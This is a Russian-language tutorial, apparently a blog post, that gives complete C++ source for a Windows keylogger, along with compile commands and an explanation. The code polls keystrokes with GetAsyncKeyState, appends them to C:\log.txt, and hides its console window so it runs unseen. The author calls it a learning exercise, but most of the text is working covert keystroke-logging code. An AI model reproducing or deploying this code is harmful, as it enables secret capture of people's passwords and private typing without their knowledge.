Кейлоггер на C++

Кейлоггер на C++


Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл.

Для работы нам понадобится текстовый файл и компилятор C++

Компилятор на ваш вкус, можете использовать VC++ или С++ Builder.

Хотя их намного больше. Лично мне удобнее использовать IDE Clion от JetBrains, и компилятор MinGW.

Для компиляции в VC++ 

code:

cl -GL C:\\путь\файл.cpp

Для компиляции в С++ Builder

code:

bcc32.exe C:\\путь\файл.cpp

Создадим текстовый файл(keylogger.txt)


В нём пишем:

code:

#include <iostream>      
#include <windows.h>
#include <winuser.h>

using namespace std;

int S (int key, char *files);
void Hide();

int S (int key, char *files)
{
    if ( (key == 1) || (key == 2) )
        return 0;

    FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
fclose (Save);
    return 0;
}

void Hide()
{
  HWND Hide;
  AllocConsole();
  Hide = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Hide,0);
}

int main()
{
        Hide();
    char q;

    while (1)
    {
        for(q = 8; q <= 190; q++)
        {
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
        }
    }
    system ("PAUSE");
return 0;
}


Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp)


Компилировать будем на С++ Builder.

Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)

Пишем bcc32.exe C:\\путь\keylogger.cpp


У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить).

Не большие объяснения что же мы написали:

Использовали во первых GetAsyncKeyState

определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.

Для работы GetAsyncKeyState подключили #include <windows.h>


Здесь мы :

int S (int key, char *files)

{

if ( (key == 1) || (key == 2) )

return 0;


FILE *Save;

Save = fopen(files, "a+");

cout << key << endl;

fprintf(Save, "%s", &key);

fclose (Save);

return 0;

}

открываем консоль и вводим значение cout << key << endl; , после чего записываем в файл.


Что бы консоль не было видно использовали:

void Hide()

{

HWND Hide;

AllocConsole();

Hide = FindWindowA("ConsoleWindowClass", NULL);

ShowWindow(Hide,0);

}


Основное действие происходит уже не посредственно в:

int main()

{

Hide();

char q;

while (1)

{

for(q = 8; q <= 190; q++)

{

if (GetAsyncKeyState(q) == -32767)

S (q,"C:\\log.txt");

}

}

system ("PAUSE");

return 0;

}

где C:\\log.txt куда сохраняется лог.


Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:

code:

if (key == VK_TAB)              
        fprintf(Save, "%s", "[TAB]");

В общем старался как мог написать статью, если есть вопросы буду рад ответить.

Цель статьи - не написание полноценного кейлоггера, а чтобы вы начали проникаться в мир программирования.


Удачи.


Report Page